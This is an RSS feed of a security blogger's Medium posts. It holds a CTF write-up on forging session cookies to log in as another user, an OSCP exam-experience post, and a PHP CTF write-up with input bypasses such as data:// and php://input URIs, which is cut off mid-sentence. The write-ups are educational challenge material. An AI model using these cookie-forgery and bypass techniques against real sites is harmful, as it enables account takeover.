<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Yashit Maheshwary on Medium]]></title>
        <description><![CDATA[Stories by Yashit Maheshwary on Medium]]></description>
        <link>https://medium.com/@yashitm?source=rss-7e31378b5992------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*-h3NR_sH2fRgoAkc9qbKXg.png</url>
            <title>Stories by Yashit Maheshwary on Medium</title>
            <link>https://medium.com/@yashitm?source=rss-7e31378b5992------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 04:17:38 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@yashitm/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[No Fatshaming (Web Challenge WriteUp)— CodeFest’19 CTF]]></title>
            <link>https://medium.com/@yashitm/no-fatshaming-web-challenge-writeup-codefest19-ctf-1deea5a2ea49?source=rss-7e31378b5992------2</link>
            <guid isPermaLink="false">https://medium.com/p/1deea5a2ea49</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Yashit Maheshwary]]></dc:creator>
            <pubDate>Sun, 25 Aug 2019 10:59:25 GMT</pubDate>
            <atom:updated>2022-01-18T14:16:52.208Z</atom:updated>
            <content:encoded><![CDATA[<p>This blog has now moved to: <a href="https://theaveragenz.com/codefest19-ctf-no-fatshaming-web-challenge-writeup/">https://theaveragenz.com/codefest19-ctf-no-fatshaming-web-challenge-writeup/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*CLmirW8HkMV9BmFs79Hd-A.png" /></figure><p>On opening the <a href="http://chall1.pythonanywhere.com/">webpage</a>, we were presented with a login/register functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*Ne-j8Z4RcnMcCkiu_8dvjw.png" /></figure><p>I first fuzzed the input fields with payloads for SQLi, XSS etc. But nothing seemed to work, so it wasn’t going to be something simple!</p><p>I looked at the source, and something fishy caught my eye: A custom JS ‘library’ /static/runner/challenge.js.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CV_mOn4_yzLCLv-q9em9qQ.png" /></figure><p>The source was minified, and obfuscated; So I used <a href="http://www.jsnice.org/">this</a> website to de-obfuscate and prettify the code:</p><pre>&#39;use strict&#39;;<br>$(document)[&quot;ready&quot;](() =&gt; {<br>  /**<br>   * <a href="http://twitter.com/param">@param</a> {!Object} spec<br>   * <a href="http://twitter.com/return">@return</a> {?}<br>   */<br>  function factory(spec) {<br>    var shaObj = new jsSHA(&quot;SHA-256&quot;, &quot;TEXT&quot;);<br>    var existing = spec[&quot;id&quot;] + &quot; 000 114328 000 &quot; + spec[&quot;time&quot;];<br>    shaObj[&quot;update&quot;](existing);<br>    var KongPluginsService = shaObj[&quot;getHash&quot;](&quot;HEX&quot;);<br>    return KongPluginsService;<br>  }<br>  /**<br>   * <a href="http://twitter.com/param">@param</a> {!Object} config<br>   * <a href="http://twitter.com/return">@return</a> {undefined}<br>   */<br>  function setup(config) {<br>    var val = Cookies[&quot;get&quot;](&quot;time&quot;);<br>    var index = Cookies[&quot;get&quot;](&quot;id&quot;);<br>    if (index == undefined || val == undefined) {<br>      config[&quot;failure&quot;]();<br>    } else {<br>      if (index != $(&quot;#login-username&quot;)[&quot;val&quot;]()) {<br>        config[&quot;failure&quot;]();<br>      } else {<br>        $[&quot;ajax&quot;]({<br>          &quot;url&quot; : &quot;api/login/&quot;,<br>          &quot;type&quot; : &quot;POST&quot;,<br>          &quot;headers&quot; : {<br>            &quot;X-Cache-Command&quot; : &quot;META&quot;,<br>            &quot;X-Cache-User&quot; : index<br>          },<br>          &quot;success&quot; : (data) =&gt; {<br>            /** <a href="http://twitter.com/type">@type</a> {!Date} */<br>            var item = new Date;<br>            if (data[&quot;time&quot;] != val) {<br>              config[&quot;failure&quot;]();<br>            } else {<br>              if (!changeColumnSpec(val, item)) {<br>                config[&quot;failure&quot;]();<br>              } else {<br>                config[&quot;success&quot;]();<br>              }<br>            }<br>          }<br>        });<br>      }<br>    }<br>  }<br>  /**<br>   * <a href="http://twitter.com/param">@param</a> {?} group<br>   * <a href="http://twitter.com/param">@param</a> {!Date} item<br>   * <a href="http://twitter.com/return">@return</a> {?}<br>   */<br>  function changeColumnSpec(group, item) {<br>    return !![];<br>  }<br>  /**<br>   * <a href="http://twitter.com/return">@return</a> {undefined}<br>   */<br>  function setUpUserAutosuggest() {<br>    setup({<br>      &quot;success&quot; : login,<br>      &quot;failure&quot; : doLogin<br>    });<br>  }<br>  /**<br>   * <a href="http://twitter.com/return">@return</a> {undefined}<br>   */<br>  function login() {<br>    var salesTeam = Cookies[&quot;get&quot;](&quot;id&quot;);<br>    var _0x24e669 = Cookies[&quot;get&quot;](&quot;cck&quot;);<br>    $[&quot;ajax&quot;]({<br>      &quot;url&quot; : &quot;api/login/&quot;,<br>      &quot;type&quot; : &quot;POST&quot;,<br>      &quot;headers&quot; : {<br>        &quot;X-Cache-Command&quot; : &quot;PULL&quot;,<br>        &quot;X-Cache-User&quot; : salesTeam,<br>        &quot;X-Cache-Key&quot; : _0x24e669<br>      },<br>      &quot;success&quot; : (i) =&gt; {<br>        fn(i);<br>      },<br>      &quot;error&quot; : () =&gt; {<br>        alert(&quot;Unexpected Error!&quot;);<br>        Cookies[&quot;remove&quot;](&quot;id&quot;);<br>        Cookies[&quot;remove&quot;](&quot;cck&quot;);<br>        Cookies[&quot;remove&quot;](&quot;time&quot;);<br>      }<br>    });<br>  }<br>  /**<br>   * <a href="http://twitter.com/return">@return</a> {undefined}<br>   */<br>  function doLogin() {<br>    $[&quot;ajax&quot;]({<br>      &quot;url&quot; : &quot;api/login/&quot;,<br>      &quot;type&quot; : &quot;POST&quot;,<br>      &quot;contentType&quot; : &quot;application/json; charset=utf-8&quot;,<br>      &quot;processData&quot; : ![],<br>      &quot;data&quot; : JSON[&quot;stringify&quot;]({<br>        &quot;password&quot; : $(&quot;#login-password&quot;)[&quot;val&quot;](),<br>        &quot;username&quot; : $(&quot;#login-username&quot;)[&quot;val&quot;]()<br>      }),<br>      &quot;success&quot; : (value) =&gt; {<br>        fn(value);<br>        _build(value);<br>      },<br>      &quot;error&quot; : (msg) =&gt; {<br>        if (msg[&quot;status&quot;] == 401) {<br>          alert(&quot;Auth Failed!&quot;);<br>        }<br>        console[&quot;log&quot;](msg);<br>      }<br>    });<br>  }<br>  /**<br>   * <a href="http://twitter.com/param">@param</a> {!Object} value<br>   * <a href="http://twitter.com/return">@return</a> {undefined}<br>   */<br>  function _build(value) {<br>    Cookies[&quot;set&quot;](&quot;id&quot;, value[&quot;id&quot;]);<br>    Cookies[&quot;set&quot;](&quot;time&quot;, value[&quot;time&quot;]);<br>    Cookies[&quot;set&quot;](&quot;cck&quot;, factory(value));<br>  }<br>  /**<br>   * <a href="http://twitter.com/param">@param</a> {!Object} p<br>   * <a href="http://twitter.com/return">@return</a> {undefined}<br>   */<br>  function fn(p) {<br>    $(&quot;.page.login&quot;)[&quot;addClass&quot;](&quot;hidden&quot;);<br>    $(&quot;.page.logged-in&quot;)[&quot;removeClass&quot;](&quot;hidden&quot;);<br>    $(&quot;#login-message&quot;)[&quot;text&quot;](p[&quot;data&quot;]);<br>  }<br>  $(&quot;#go-to-login&quot;)[&quot;click&quot;](() =&gt; {<br>    $(&quot;.page.reg-success&quot;)[&quot;addClass&quot;](&quot;hidden&quot;);<br>    $(&quot;.page.login&quot;)[&quot;removeClass&quot;](&quot;hidden&quot;);<br>  });<br>  $(&quot;#logout&quot;)[&quot;click&quot;](() =&gt; {<br>    $(&quot;.page.logged-in&quot;)[&quot;addClass&quot;](&quot;hidden&quot;);<br>    $(&quot;.page.login&quot;)[&quot;removeClass&quot;](&quot;hidden&quot;);<br>  });<br>  $(&quot;#register&quot;)[&quot;click&quot;](() =&gt; {<br>    $(&quot;.page.login&quot;)[&quot;addClass&quot;](&quot;hidden&quot;);<br>    $(&quot;.page.register&quot;)[&quot;removeClass&quot;](&quot;hidden&quot;);<br>  });<br>  $(&quot;#login-re&quot;)[&quot;click&quot;](() =&gt; {<br>    $(&quot;.page.register&quot;)[&quot;addClass&quot;](&quot;hidden&quot;);<br>    $(&quot;.page.login&quot;)[&quot;removeClass&quot;](&quot;hidden&quot;);<br>  });<br>  $(&quot;#registration-form&quot;)[&quot;submit&quot;]((result) =&gt; {<br>    result[&quot;preventDefault&quot;]();<br>    if ($(&quot;#reg-password&quot;)[&quot;val&quot;]() != $(&quot;#reg-again&quot;)[&quot;val&quot;]()) {<br>      alert(&quot;Passswords Don&#39;t Match!&quot;);<br>      $(&quot;#reg-again&quot;)[&quot;val&quot;](&quot;&quot;);<br>      return;<br>    }<br>    $[&quot;ajax&quot;]({<br>      &quot;url&quot; : &quot;api/register/&quot;,<br>      &quot;type&quot; : &quot;POST&quot;,<br>      &quot;contentType&quot; : &quot;application/json; charset=utf-8&quot;,<br>      &quot;processData&quot; : ![],<br>      &quot;data&quot; : JSON[&quot;stringify&quot;]({<br>        &quot;password&quot; : $(&quot;#reg-password&quot;)[&quot;val&quot;]()<br>      }),<br>      &quot;success&quot; : (message) =&gt; {<br>        console[&quot;log&quot;](message);<br>        $(&quot;.page.register&quot;)[&quot;addClass&quot;](&quot;hidden&quot;);<br>        $(&quot;.page.reg-success&quot;)[&quot;removeClass&quot;](&quot;hidden&quot;);<br>        $(&quot;#reg-message&quot;)[&quot;text&quot;](message[&quot;id&quot;]);<br>      },<br>      &quot;error&quot; : (message) =&gt; {<br>        console[&quot;log&quot;](message);<br>      }<br>    });<br>  });<br>  $(&quot;#login-form&quot;)[&quot;submit&quot;]((result) =&gt; {<br>    result[&quot;preventDefault&quot;]();<br>    setUpUserAutosuggest();<br>  });<br>});</pre><p>On first glance this looked like a module responsible for handling the authentication services! And upon further reading, I found out that this is what I needed to focus on!</p><p>On analyzing the functions for a while, I concluded that the application’s login functionality was based on either a username, password combination; or the combination of the cookies: cck and id. The username, password route doesn’t seem to be viable (as that would require bruteforce; and usually admins stay away from that, as it would take a toll on their systems hosting these services). Thus, I began examining the cookies.</p><p>The function _build() seemed to be responsible for setting the cookies upon login. The id cookie was in our control, but the remaining time and cck cookies were dependent on the sessions of the logged in users. So all I needed to do was to obtain the login timestamp for any user (represented using IDs). And the setup() function does exactly that!</p><pre>function setup(config) {<br>    var val = Cookies[&quot;get&quot;](&quot;time&quot;);<br>    var index = Cookies[&quot;get&quot;](&quot;id&quot;);<br>    if (index == undefined || val == undefined) {<br>      config[&quot;failure&quot;]();<br>    } else {<br>      if (index != $(&quot;#login-username&quot;)[&quot;val&quot;]()) {<br>        config[&quot;failure&quot;]();<br>      } else {<br>        $[&quot;ajax&quot;]({<br>          &quot;url&quot; : &quot;api/login/&quot;,<br>          &quot;type&quot; : &quot;POST&quot;,<br>          &quot;headers&quot; : {<br>            &quot;X-Cache-Command&quot; : &quot;META&quot;,<br>            &quot;X-Cache-User&quot; : index<br>          },<br>          &quot;success&quot; : (data) =&gt; {<br>            /** <a href="http://twitter.com/type">@type</a> {!Date} */<br>            var item = new Date;<br>            if (data[&quot;time&quot;] != val) {<br>              config[&quot;failure&quot;]();<br>            } else {<br>              if (!changeColumnSpec(val, item)) {<br>                config[&quot;failure&quot;]();<br>              } else {<br>                config[&quot;success&quot;]();<br>              }<br>            }<br>          }<br>        });<br>      }<br>    }<br>  }</pre><p>This function basically returns the login timestamp of any user for validating the supplied timestamp in the cookie based login. So if we simply remove the validation check, and run the function for any user-id, we should be able to get the login time of any user?</p><p>I updated the setup() function to do exactly that:</p><pre>function setup(id) {<br>  $[&quot;ajax&quot;]({<br>    &quot;url&quot; : &quot;api/login/&quot;,<br>    &quot;type&quot; : &quot;POST&quot;,<br>    &quot;headers&quot; : {<br>      &quot;X-Cache-Command&quot; : &quot;META&quot;,<br>      &quot;X-Cache-User&quot; : id<br>    },<br>    &quot;success&quot; : (data) =&gt; {<br>      console.log(data[&quot;time&quot;]);<br>    }<br>  });<br>}</pre><p>And now I simply had to run this function with any ID I want! And what better ID to start with, than 1 ?</p><p>Guess what? I got the timestamp of the user with ID 1!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*L2COCJa3kujlsnHVuPlDzA.png" /></figure><p>Now that I had the id and time; I just needed the cck . Going back to the _build() function, we can see that the cck hash is generated by the function factory() . The logic being fairly simple (and kind of pointless (: ):</p><p>var existing = spec[“id”] + “ 000 114328 000 “ + spec[“time”];</p><p>Let’s now generate the hash for the user with ID 1:</p><p>I simply called the factory() function with the obtained parameters: factory({&#39;id&#39;:&#39;1&#39;, &#39;time&#39;:&#39;2019–08–23 10:17:10.771772+00:00&#39;})</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*CKijxHOw0uTUpFslZ005ww.png" /></figure><p>Now that we have all the 3 required parameters, it was time to set the cookies and see the result for ourselves! I used the _build() function to get that done:</p><pre>_build({&#39;id&#39;:&#39;1&#39;, &#39;time&#39;:&#39;2019–08–23 10:17:10.771772+00:00&#39;})</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0esqrUqbv4AoiQrHr9BzRA.png" /></figure><p>Now that we had everything setup; I populated the login form with the username as 1, followed by a random password; on submitting the form, I was logged in!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QTC1CFMMVh1VRBrKoeMeCQ.png" /></figure><p>But the flag wasn’t here :( After spending a while on the result, I assumed that the remainder of the challenge would involve guessing, so I decided to step away from it (mainly because I was too lazy xD).</p><p>Upon speaking to the organizer after the CTF was over, I was told that the admin was the user with ID 6. Ugh!</p><p>Just to get some closure, I repeated the same process, but this time with user ID 6, and I was presented with the flag!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EEps9-M2iY56axpV5EOEDg.png" /></figure><p>The flag: CodefestCTF{1AmTeHHHAX00Rr4uj8rfi4e$%y5yhrf}</p><p>P.S. Don’t be lazy xD</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1deea5a2ea49" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My experience with OSCP Certification]]></title>
            <link>https://medium.com/@yashitm/my-experience-with-oscp-certification-e87b82013d87?source=rss-7e31378b5992------2</link>
            <guid isPermaLink="false">https://medium.com/p/e87b82013d87</guid>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hacker]]></category>
            <dc:creator><![CDATA[Yashit Maheshwary]]></dc:creator>
            <pubDate>Sat, 18 May 2019 18:20:47 GMT</pubDate>
            <atom:updated>2022-01-18T14:28:56.758Z</atom:updated>
            <content:encoded><![CDATA[<h3>Guide to cracking the OSCP Certification</h3><p>This blog has now moved to: <a href="https://theaveragenz.com/cracking-the-oscp-certification/">https://theaveragenz.com/cracking-the-oscp-certification/</a></p><p>I recently earned the OSCP Certification in the first exam attempt! I decided to share my experience with you guys, hoping to make your path to OSCP easier!</p><p>In this guide, I’ve described my experience, and strategy used to manage the OSCP material along with my Undergrad Studies.</p><p>I’ll soon publish another blog with the details of how I tackled the lab machines and the exam, with a technical standpoint.</p><h3>What is OSCP?</h3><blockquote>OSCP is the most well-recognized and respected certification for info security professionals</blockquote><p>If you want to prove your Penetration Testing skills, OSCP is the certification for you! It is probably the only hands-on certification that tests your skills in a live virtual environment.</p><p>To achieve the OSCP certification, one must pass the 24 hour exam, and complete the PWK course.</p><p>The PWK course includes a set of videos, a PDF Course Guide and an access to a virtual private network with machines to be rooted!</p><h3>Before the OSCP</h3><p>Due to the complexity of the certification, it is advised that you have some prior experience in this field. I have been playing CTFs ( Team d4rkc0de: <a href="https://ctftime.org/team/15154">https://ctftime.org/team/15154</a>) for over 3 years now; this gave me an overall view of this field. And with a good hold on Python, C and Shell script, I was all set for the labs!</p><p>A better practice would be to try out some machines from HackTheBox and VulnHub. A few of their boxes are quite similar to the OSCP ones. I had tried a couple of boxes from HTB, and the Kioptrix series from VulnHub. They seemed to have given me an introduction to what OSCP boxes would be like, and that was needed, as I had never moved past the “CTF Environment”. Here’s a curated list of the VulnHub boxes you can try: <a href="https://www.abatchy.com/2017/02/oscp-like-vulnhub-vms">https://www.abatchy.com/2017/02/oscp-like-vulnhub-vms</a></p><p>Make sure you have the <a href="https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/">PWK Kali VM</a> set up before you start with the labs. I setup my terminal with <a href="https://github.com/robbyrussell/oh-my-zsh">Oh My Zsh</a>, added aliases that I used the most, and made some minor theme related tweaks.</p><p>Also, you must register about 2 weeks prior to when you plan to start the OSCP Labs. I learnt that the hard way.</p><h3>The labs</h3><p>I signed up for the 2 month labs, and they commenced on 13th Jan, 2019 at 5:30AM IST. As I was really excited, I woke up at 6AM, without the alarm ringing (which I never would have done otherwise), freshened up in a hurry, and put the study material to download.</p><p>I started off with the videos, and managed to complete them by the next day (yes, I watch videos at &gt;2x). I was aware of most of the material, so I moved through the videos quite swiftly. It was just the buffer overflow part that was slightly new to me; so I decided to cover that properly by practicing on some vulnerable application.</p><p>I then jumped onto the labs, and decided to go in order. It took me 3 days to get a root on the first box, that was when I lost all hope, but then again, that’s what Offsec teaches us, to <strong><em>Try Harder</em></strong>!</p><p>Before moving onto the next machine, I read a ton of blogs to know more about how to tackle these labs. In the meantime, I was also completing some of the exercises in the Course Manual, as I wanted those 5 extra points :). Each point counts!</p><p>After a couple days of doing assignments, I got back to the labs. I cracked 2 more boxes in the next 3 days; progress! I used metasploit for both these machines as I was still not confident enough, but, the roots still count!</p><p>In about 20 days, I owned 11 machines. I was pretty happy with my progress. I made sure I was documenting all the steps so I could refer to them later for revision purposes, and also for the extra 5 points :)</p><p>At this point, I decided to organize things out to get some pressure off my head. So I made a detailed Google Calendar “time table” and decided to follow it religiously.</p><p>This is what my “normal” week looked like. Yep, living through it was as painful as it looks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9rLbmEcRka5eaiBWdcQSgA.png" /></figure><p>I followed this schedule till my exams came about. I had to significantly reduce the time I spent on the labs, and I was really scared about it. I tried my best to fit in a couple of hours before bed, and cover up on the time lost by not sleeping as much. I was sleeping about 3–4 hours per day during this painful time.</p><p>At the end of my exams, I had a little less than 30 days of lab time remaining and I was just 16 machines in. With some “quick math” I deduced that if I continue at a similar pace, I would own only 32 machines by the end. With this in mind, I was really motivated for the next 4 days; and rooted 12 boxes!</p><p>My hopes climbed back up, I felt that I would be able to root at-least 40 boxes with this pace. But then, assignment deadlines started to pile up; I had no other choice than to spend time doing them.</p><p>After a few days of doing assignments, I figured that I wouldn’t be able to handle both my academics, and the labs; as the assignments would keep coming :(</p><p>I went on to find some groups where I could get small nudges to speed up the time I took for each box. And during this journey, I made a new friend who turned out to be a really great study partner (<a href="https://medium.com/u/ff1fc0ff2fc4">Rohan Chavan</a>). Trust me on this, a good study partner will always be helpful. You will always be motivated to push yourself beyond your limits.</p><p>I gained pace as we started doing some boxes together. With around 20 days left, I decided that we should own the “must do” “hard” boxes (pain, sufferance, Humble, gh0st, fc4, gamma). It took us about a little more than a week to get past all these boxes. I would never forget that week; the amount of learning we had was just insane. Make sure if you’re low on time, root these boxes before the others, you’ll have a lot of fun!</p><p>With a little less than 10 days remaining, I had owned 34 machines. I decided to take my mind off of the machines for a while, and began to complete the exercises to get the 5 bonus points. I was a little late to begin the exercises, so I sat down for literally 2 straight days, and completed all the exercises. The next day, I covered up for my lost sleep. It was worth it!</p><p>While doing the exercises, I realized that the best practice for Buffer Overflows were the exercises given in the manual. So make sure that even if you don’t plan on doing all the exercises for the 5 bonus points, you practice the buffer overflow ones.</p><p>At this point, I curated a list of the remaining machines, and went over to the forum to find out the ones that were comparatively easier. Over the course of the next 3 days, I was able to root 5 more machines, putting me at a total of 39 boxes.</p><p>I tried a couple more machines, but I was worn out; I hadn’t had enough sleep in the last few days, and had gotten a little sick. So I decided to use the remaining time to fine tune my Lab Reports and the Exercises. I also booked my exam for the 17th March, 2019 at 12:30PM IST.</p><p>I was pretty happy that I almost hit the 40 mark. The effort I put during these two months was definitely something didn’t think was possible, especially with exams and assignments up my neck. At the end, I did <em>try harder</em>!</p><h3>The Exam</h3><p>As I lived in the college hostel, I had to manage everything on my own. So my parents decided to call me back home for the exam. And I am glad that they did! I didn’t have to worry about anything at home!</p><p>The night before the exam, I wasn’t able to sleep due to the anxiety. This kind of set me back the next day. So make sure you are sleep deprived the night before your exam, so you have no other choice than to sleep tight!</p><p>On the day of the exam, I woke up around an hour before the exam (10AM GST), took a quick shower, had a nice and heavy breakfast and set my desk up with all the IDs and some physical notes that I had prepared.</p><p>I was all set by 10:35AM. I was waiting for the proctors mail so I could proceed with the exam. Upon the receipt of the mail, I immediately followed the instructions and set up screen connect and the webcam as required. Then came the ID verification part, which wasted a lot of my time and thus, tensed me up. Somehow the 720p image feed from the webcam wasn’t clear enough for them to verify my ID. But everything worked out in the end.</p><p>I began the exam at 11:10AM GST (10 minutes late). I glimpsed through the IPs and decided what order to tackle the boxes in. I decided to work on the 20 points machine first. I enumerated it, and got a command execution within the first hour, but wasn’t able to convert that to a reverse shell right then and there. With almost 2 hours of debugging my injected payload (and a ton of breaks), I finally got a connect back with a low privilege shell! The privilege escalation took me a couple of minutes!</p><p>I then made sure I had enough screenshots and notes to write a detailed report for this machine. It was then that my VPN had stopped responding I thought it was something on my end, but it wasn’t. On speaking with the proctor, I was told that they were aware of this issue, so I took a 30 minute break to nap. The VPN was still not responding. I mailed the Offsec support, and found out that they were looking into the issue. I basically had nothing to do for about 1 hour 30 minutes. To compensate for the lost time, I sent out a mail to the Offsec support about the issue; they responded within the next hour, giving me an extension of 1 hour 30 minutes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3BxPclGC-cJZYSQ2tCvPsA.png" /></figure><p>To get back on track, I decided to crack the 10 point machine. It was indeed worth 10 points, I was done with the machine in an hour!</p><p>I was now 30 points in, with only 4 hours into the exam (excluding the time lost in VPN issues). I decided to pop the buffer overflow box (probably the easiest 25 points in the exam), which took me a little over 2 hours to complete because of the screenshots I had to take on each step, and the executable had a ton of bad characters (that I was scanning for manually).</p><p>I now had 55 points in my bag, and 18 hours remaining! So I took a 30 minute break to clear things off my head and started afresh. I started working on the second 20 point machine. There was a lot to enumerate. After about 1 hour of enumeration, I got a low-privilege shell in the next 30 minutes. I was now on the verge of the “70 point mark”. I started exploring any possible misconfigurations in the machine, and found something fishy. I had fallen into a rabbit hole, and I didn’t know about it. After banging my head for an hour, I decided to take a break. I was back in 15 minutes, and I fired open the <a href="https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/">g0tmilk privilege escalation “cheat-sheet”</a> and made sure I had enumerated everything. Turns out, I had missed out! I found the misconfigured service within 10 minutes, and found an exploit for it. I edited the exploit to give me a command execution as root, and immediately spawned a reverse shell to give me root!</p><p>With around 14 hours remaining, I already had enough points to pass! After about 5 minutes of celebrations, I got back on track. Before proceeding to the last box, I decided to compile my notes, and organize all the screenshots taken. After 3 hours of effort, I had a decent looking report with a ton of backups. It was time to begin the last machine.</p><p>After enumerating the services for an hour, I was pretty worked up (as I hadn’t slept enough the last night). I made sure I had all the screenshots needed, and went through the dummy report around 3–4 times to make sure I had covered everything. After I was done verifying, I asked the proctor to terminate my VPN connection. And that was it!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*SMxQvNyiQgD3IU3zlFLjpg.png" /><figcaption>The final exam control panel :)</figcaption></figure><p>After a peaceful sleep, I worked on the final report for a couple of hours, and uploaded it along with my exercise and lab solutions!</p><p>At this point, every notification scared the hell out of me. Finally, on 23rd March, I woke up to a new mail! I ran around the house ‘howling’ at the top of my voice, haha!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7VxY36dyx5rEtBawyTVwcA.png" /></figure><p>I can officially say, <em>I Tried Harder</em>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*_32b9W9uXd-UBy9SMHiyRg.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e87b82013d87" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Baby PHP (Web Challenge WriteUp) — hacklu CTF 2018]]></title>
            <link>https://medium.com/@yashitm/baby-php-web-challenge-writeup-hacklu-ctf-2018-3db6c72926cb?source=rss-7e31378b5992------2</link>
            <guid isPermaLink="false">https://medium.com/p/3db6c72926cb</guid>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Yashit Maheshwary]]></dc:creator>
            <pubDate>Thu, 18 Oct 2018 15:53:28 GMT</pubDate>
            <atom:updated>2022-01-18T14:32:41.739Z</atom:updated>
            <content:encoded><![CDATA[<h3>Baby PHP (Web Challenge WriteUp) — hacklu CTF 2018</h3><p>This blog has now moved to: <a href="https://theaveragenz.com/hacklu-ctf-2018-baby-php-web-challenge-writeup/">https://theaveragenz.com/hacklu-ctf-2018-baby-php-web-challenge-writeup/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TNx42MpgzQtAjD_BJLASvQ.png" /></figure><p>Visiting the <a href="http://arcade.fluxfingers.net:1819/">link</a>, we are give the source code for the challenge:</p><pre>&lt;?php<br><br>require_once(&#39;flag.php&#39;);<br>error_reporting(0);<br><br><br>if(!isset($_GET[&#39;msg&#39;])){<br>    highlight_file(__FILE__);<br>    die();<br>}<br><br>@$msg = $_GET[&#39;msg&#39;];<br>if(@file_get_contents($msg)!==&quot;Hello Challenge!&quot;){<br>    die(&#39;Wow so rude!!!!1&#39;);<br>}<br><br>echo &quot;Hello Hacker! Have a look around.\n&quot;;<br><br>@$k1=$_GET[&#39;key1&#39;];<br>@$k2=$_GET[&#39;key2&#39;];<br><br>$cc = 1337;$bb = 42;<br><br>if(intval($k1) !== $cc || $k1 === $cc){<br>    die(&quot;lol no\n&quot;);<br>}<br><br>if(strlen($k2) == $bb){<br>    if(preg_match(&#39;/^\d+＄/&#39;, $k2) &amp;&amp; !is_numeric($k2)){<br>        if($k2 == $cc){<br>            @$cc = $_GET[&#39;cc&#39;];<br>        }<br>    }<br>}<br><br>list($k1,$k2) = [$k2, $k1];<br><br>if(substr($cc, $bb) === sha1($cc)){<br>    foreach ($_GET as $lel =&gt; $hack){<br>        $$lel = $hack;<br>    }<br>}<br><br>$‮b = &quot;2&quot;;$a=&quot;‮b&quot;;//;1=b<br><br>if($$a !== $k1){<br>    die(&quot;lel no\n&quot;);<br>}<br><br>// plz die now<br>assert_options(ASSERT_BAIL, 1);<br>assert(&quot;$bb == $cc&quot;);<br><br>echo &quot;Good Job ;)&quot;;<br>// TODO<br>// echo $flag;</pre><p>To make the task a little easier, I copied the code onto my machine continued on localhost.</p><pre>@$msg = $_GET[&#39;msg&#39;];<br>if(@file_get_contents($msg)!==&quot;Hello Challenge!&quot;){<br>    die(&#39;Wow so rude!!!!1&#39;);<br>}</pre><p>The first part (snippet given above) requires us to pass in a GET Parameter msg, such that on calling the file_get_contents on the value of the parameter, Hello Challenge! is echoed. There are a couple of ways to get past this;</p><ul><li>Using php://input as the parameter value and passing Hello Challenge! in the body of the request. As</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kttY4VfrXYTeK1eP5jusHw.png" /></figure><ul><li>Using data://text/plain,Hello%20Challenge!as the parameter value.</li></ul><pre>@$k1=$_GET[&#39;key1&#39;];<br>@$k2=$_GET[&#39;key2&#39;];<br><br>$cc = 1337;$bb = 42;<br><br>if(intval($k1) !== $cc || $k1 === $cc){<br>    die(&quot;lol no\n&quot;);<br>}</pre><p>The next part basically involves sending a parameter key1 with a value such that the value is not equal to the variable $cc and the integer value of key1 should equal the value of $cc; i.e. 1337. Since $k1 reads the value from the parameter key1, they type of $k1 would always be a string; Thus, the condition $k1 === $cc is always false (as === compares the values along with their types. And here, even though the values are the same, the comparison is done between a string and an integer). As for the condition intval($k1) !== $cc; simply passing the value of key1 as 1337 would invalidate this condition and allow us to proceed further!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GZ9Z1nxLthaLMFtIkPlB4A.png" /></figure><p>The string lol no changes to lel no; signifying that Part 2 is complete!</p><pre>if(strlen($k2) == $bb){<br>    if(preg_match(&#39;/^\d+＄/&#39;, $k2) &amp;&amp; !is_numeric($k2)){<br>        if($k2 == $cc){<br>            @$cc = $_GET[&#39;cc&#39;];<br>        }<br>    }<br>}</pre><p>Moving on, they check whether the value in parameter key2 is of length $bb which is 42 (as defined earlier).</p><p>Then they compare the value with the regex /^\d+＄/ which basically matches any decimal value (0–9) one or more times from the start, followed by a＄ symbol. This is the part that I spent the most time on as I thought the 